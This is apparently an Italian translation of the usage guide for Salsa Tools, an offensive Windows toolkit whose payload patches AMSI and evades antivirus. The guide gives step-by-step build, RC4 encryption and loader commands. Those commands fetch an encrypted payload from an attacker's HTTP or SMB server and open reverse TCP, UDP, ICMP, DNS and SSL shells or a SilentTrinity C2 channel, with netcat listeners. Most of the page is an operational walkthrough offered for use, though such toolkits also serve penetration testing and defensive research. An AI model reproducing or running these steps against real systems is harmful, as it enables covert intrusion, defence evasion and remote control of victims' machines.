
Salsa Tools - ShellReverse TCP/UDP/ICMP/DNS/SSL/BINDTCP/Shellcode/SILENTTRINITY e bypass AV, AMSI patchato
_____ __ ______ __
/ ___/____ _/ /________ _ /_ __/___ ____ / /____
\__ \/ __ `/ / ___/ __ `/ / / / __ \/ __ \/ / ___/
___/ / /_/ / (__ ) /_/ / / / / /_/ / /_/ / (__ )
/____/\__,_/_/____/\__,_/ /_/ \____/\____/_/____/
Salsa Tools è una collezione di tre diversi strumenti che, combinati, permettono di ottenere una reverse shell potenziata in qualsiasi ambiente Windows senza nemmeno aver bisogno di PowerShell per la sua esecuzione. Per evitare le più recenti tecniche di rilevamento (AMSI), la maggior parte dei componenti è stata inizialmente scritta in C#. Salsa Tools è stato rilasciato pubblicamente da Luis Vacas durante il suo talk “Inmersión en la explotación tiene rima” che si è tenuto durante l'h-c0n il 9 febbraio 2019.
* TCP/UDP/ICMP/DNS/BIND/SSL/Shellcode/SilentTrinity
* AV Safe (17 febbraio)
* Patcher AMSI
* Esecuzione PowerShell
* ...
Salsa-Tools è composto da tre diversi ingredienti: - EvilSalsa - EncrypterAssembly - SalseoLoader E il suo comportamento è il seguente:
___ __ __ ____ _
/ _] | || || |
/ [_| | | | | | |
| _] | | | | | |___
| [_| : | | | | |
| |\ / | | | |
|_____| \_/ |____||_____|
_____ ____ _ _____ ____
/ ___/ / || | / ___/ / |
( \_ | o || | ( \_ | o |
\__ || || |___\__ || |
/ \ || _ || / \ || _ |
\ || | || \ || | |
\___||__|__||_____|\___||__|__|
[+] Questo è il nostro Payload
EvilSalsa è l'ingrediente chiave di questa ricetta. Contiene il payload, che viene eseguito sul sistema come segue: appena il payload parte, esegue System.Management.Automation.dll che crea un runspace. All'interno di quel runspace abbiamo quattro tipi di shell (TCP / UDP / ICMP / DNS / BINDTCP / SHELLCODE / SILENTTRINITY). Una volta caricato EvilSalsa, la prima cosa che fa è controllare l'esistenza di c:\windows\system32\amsi.dll. Se esiste, viene patchato utilizzando una variante fatta in casa dei bypass di CyberArk e Rastamouse.
______ _
| ____| | |
| |__ _ __ ___ _ __ _ _ _ __ | |_ ___ _ __
| __| | '_ \ / __| '__| | | | '_ \| __/ _ \ '__|
| |____| | | | (__| | | |_| | |_) | || __/ |
|______|_| |_|\___|_| \__, | .__/ \__\___|_|
/\ __/ | || | | |
/ \ ___ ___ ___ _|___/|_|| |__ | |_ _
/ /\ \ / __/ __|/ _ \ '_ ` _ \| '_ \| | | | |
/ ____ \\__ \__ \ __/ | | | | | |_) | | |_| |
/_/ \_\___/___/\___|_| |_| |_|_.__/|_|\__, |
__/ |
|___/
[+] Software che critta il payload usando RC4
[+] Abbiamo la versione in Python e la versione in .exe
EncrypterAssembly può essere usato come script Python o come binario Exe. Cripta il EvilSalsa generato in precedenza.
Utilizzo Python:
python encrypterassembly.py <FILE> <PASSWORD> <OUTPUT>
Utilizzo eseguibile:
Encrypterassembly.exe <FILE> <PASSWORD> <OUTPUT>
SalseoLoader è incaricato di caricare il payload crittato. Può essere compilato sia come libreria che come eseguibile. Se viene eseguito come eseguibile, gli argomenti scelti devono essere forniti al momento dell'esecuzione. Se viene compilato come libreria, il descrittore "main" deve essere esportato. Gli argomenti vengono aggiunti tramite variabili d'ambiente.
_____ ____ _ _____ ___ ___
/ ___/ / || | / ___/ / _] / \
( \_ | o || | ( \_ / [_ | |
\__ || || |___\__ || _]| O |
/ \ || _ || / \ || [_ | |
\ || | || \ || || |
\___||__|__||_____|\___||_____| \___/
_ ___ ____ ___ ___ ____
| | / \ / || \ / _]| \
| | | || o || \ / [_ | D )
| |___ | O || || D || _]| /
| || || _ || || [_ | \
| || || | || || || . \
|_____| \___/ |__|__||_____||_____||__|\_|
By: CyberVaca@HackPlayers
[+] Utilizzo:
[-] SalseoLoader.exe password http://webserver.com/elfuckingmal.txt ReverseTCP LHOST LPORT
[-] SalseoLoader.exe password \\smbserver.com\evil\elfuckingmal.txt ReverseUDP LHOST LPORT
[-] SalseoLoader.exe password c:\temp\elfuckingmal.txt ReverseICMP LHOST
[-] SalseoLoader.exe password http://webserver.com/elfuckingmal.txt ReverseDNS LHOST ServerDNS
[-] SalseoLoader.exe password http://webserver.com/elfuckingmal.txt BindTCP LHOST LPORT
[-] SalseoLoader.exe password c:\temp\elfuckingmal.txt ReverseSSL LHOST LPORT
[-] SalseoLoader.exe password http://webserver.com/shellcode.txt shellcode
[-] SalseoLoader.exe password http://webserver.com/silent.txt silenttrinity URL_C2C
[+] Payload disponibili:
[-] ReverseTCP [-] ReverseDNS [-] ReverseSSL [-] Shellcode
[-] ReverseUDP [-] ReverseICMP [-] BindTCP [-] SilentTrinity
Scarica il codice sorgente da GitHub e compila EvilSalsa e SalseoLoader. Avrai bisogno di Visual Studio installato per compilare il codice.
Compila questi progetti per l'architettura della macchina Windows in cui li utilizzerai (se Windows supporta x64, compilali per quell'architettura).
Puoi selezionare l'architettura all'interno di Visual Studio nella scheda "Build" a sinistra, in "Platform Target".
(Se non riesci a trovare queste opzioni, premi su "Project Tab" e poi su " Properties")

Poi, costruisci entrambi i progetti (Build -> Build Solution) (nei log apparirà il percorso dell'eseguibile):

Prima di tutto, dovrai codificare la EvilSalsa.dll. Per farlo, puoi usare lo script Python encrypterassembly.py o compilare il progetto EncrypterAssembly.
python EncrypterAssembly/encrypterassembly.py <FILE> <PASSWORD> <FILE_OUTPUT>
python EncrypterAssembly/encrypterassembly.py EvilSalsa.dll password evilsalsa.dll.txt
EncrypterAssembly.exe <FILE> <PASSWORD> <FILE_OUTPUT>
EncrypterAssembly.exe EvilSalsa.dll password evilsalsa.dll.txt
Ok, ora hai tutto ciò che ti serve per eseguire tutta la faccenda del Salseo: la EvilSalsa.dll codificata e il binario di SalseoLoader. Carica il binario SalseoLoader.exe sulla macchina. Non dovrebbe essere rilevato da nessun AV...
Ricorda di avviare un nc come listener per la reverse shell e un server HTTP per servire la evilsalsa codificata.
SalseoLoader.exe password http://<IP-Attaccante>/evilsalsa.dll.txt reversetcp <IP-Attaccante> <Porta>
Ricorda di avviare un nc come listener per la reverse shell e un server SMB per servire la evilsalsa codificata (impacket-smbserver).